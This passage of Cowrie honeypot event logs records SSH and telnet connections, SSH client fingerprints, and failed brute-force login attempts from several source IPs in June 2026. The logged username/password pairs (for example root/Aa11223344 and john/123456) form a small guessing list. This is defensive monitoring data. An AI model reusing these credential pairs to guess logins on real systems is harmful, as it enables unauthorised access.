a2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:51.313600Z","src_ip":"91.92.40.36","session":"1aa690bbf932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":35436,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bf32864756f","protocol":"ssh","message":"New connection: 45.153.34.195:35436 (10.17.0.5:22) [session: 4bf32864756f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:51.584460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:51.591699Z","src_ip":"45.153.34.195","session":"4bf32864756f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:51.708666Z","src_ip":"45.153.34.195","session":"4bf32864756f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa11223344","message":"login attempt [root/Aa11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:52.265014Z","src_ip":"45.153.34.195","session":"4bf32864756f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:53.108505Z","src_ip":"91.92.40.36","session":"9e5d0e7a6ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:53.349245Z","src_ip":"45.153.34.195","session":"4bf32864756f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sss","password":"sss","message":"login attempt [sss/sss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:54.419245Z","src_ip":"91.92.40.36","session":"1aa690bbf932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33792,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c20c22fdb81","protocol":"ssh","message":"New connection: 45.153.34.195:33792 (10.17.0.5:22) [session: 5c20c22fdb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:54.537124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:54.547306Z","src_ip":"45.153.34.195","session":"5c20c22fdb81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:54.648034Z","src_ip":"45.153.34.195","session":"5c20c22fdb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60662,"dst_ip":"159.203.135.109","dst_port":23,"session":"40e6b6c0bc74","protocol":"telnet","message":"New connection: 172.81.62.90:60662 (159.203.135.109:23) [session: 40e6b6c0bc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:54.874295Z"}
{"eventid":"cowrie.login.failed","username":"bpadmin","password":"bpadmin","message":"login attempt [bpadmin/bpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:55.186167Z","src_ip":"45.153.34.195","session":"5c20c22fdb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50128,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7554572c3b3","protocol":"telnet","message":"New connection: 107.6.151.170:50128 (159.203.135.109:23) [session: d7554572c3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:55.405381Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:56.342022Z","src_ip":"45.153.34.195","session":"5c20c22fdb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:56.364547Z","src_ip":"91.92.40.36","session":"1aa690bbf932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.70639896392822,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:57.307535Z","src_ip":"172.81.62.90","session":"46b49ed705fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33800,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeb9e2dc65e0","protocol":"ssh","message":"New connection: 45.153.34.195:33800 (10.17.0.5:22) [session: eeb9e2dc65e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:57.505010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:57.509966Z","src_ip":"45.153.34.195","session":"eeb9e2dc65e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:57.623198Z","src_ip":"45.153.34.195","session":"eeb9e2dc65e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yellow","password":"yellow","message":"login attempt [yellow/yellow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:58.166184Z","src_ip":"45.153.34.195","session":"eeb9e2dc65e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33870,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a8baad09877","protocol":"ssh","message":"New connection: 91.92.40.36:33870 (10.17.0.5:22) [session: 6a8baad09877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:58.635034Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:59.331330Z","src_ip":"45.153.34.195","session":"eeb9e2dc65e0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:59.656949Z","src_ip":"91.92.40.36","session":"6a8baad09877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:59.660858Z","src_ip":"91.92.40.36","session":"6a8baad09877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33814,"dst_ip":"10.17.0.5","dst_port":22,"session":"414217d515a2","protocol":"ssh","message":"New connection: 45.153.34.195:33814 (10.17.0.5:22) [session: 414217d515a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:00.346453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:00.351539Z","src_ip":"45.153.34.195","session":"414217d515a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:00.487268Z","src_ip":"45.153.34.195","session":"414217d515a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:01.077793Z","src_ip":"45.153.34.195","session":"414217d515a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.069621086120605,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:02.106960Z","src_ip":"128.199.8.54","session":"50c80cc4532b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:02.278039Z","src_ip":"45.153.34.195","session":"414217d515a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor@123","message":"login attempt [monitor/monitor@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:03.001099Z","src_ip":"91.92.40.36","session":"6a8baad09877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44962,"dst_ip":"10.17.0.5","dst_port":22,"session":"4571e4478e12","protocol":"ssh","message":"New connection: 45.153.34.195:44962 (10.17.0.5:22) [session: 4571e4478e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:03.258210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:03.264023Z","src_ip":"45.153.34.195","session":"4571e4478e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:03.370594Z","src_ip":"45.153.34.195","session":"4571e4478e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":39926,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8b79e621da","protocol":"telnet","message":"New connection: 103.249.87.183:39926 (159.203.135.109:23) [session: dd8b79e621da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:03.689852Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456","message":"login attempt [root/Root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:03.813463Z","src_ip":"45.153.34.195","session":"4571e4478e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:04.689582Z","src_ip":"91.92.40.36","session":"6a8baad09877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:04.898192Z","src_ip":"45.153.34.195","session":"4571e4478e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44990,"dst_ip":"10.17.0.5","dst_port":22,"session":"31213b4d4c1a","protocol":"ssh","message":"New connection: 45.153.34.195:44990 (10.17.0.5:22) [session: 31213b4d4c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:06.165948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:06.171580Z","src_ip":"45.153.34.195","session":"31213b4d4c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:06.254086Z","src_ip":"45.153.34.195","session":"31213b4d4c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54660,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa05e2ac9d54","protocol":"ssh","message":"New connection: 91.92.40.36:54660 (10.17.0.5:22) [session: aa05e2ac9d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:06.426848Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111111","message":"login attempt [root/1111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:06.558487Z","src_ip":"45.153.34.195","session":"31213b4d4c1a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:07.008851Z","src_ip":"91.92.40.36","session":"aa05e2ac9d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2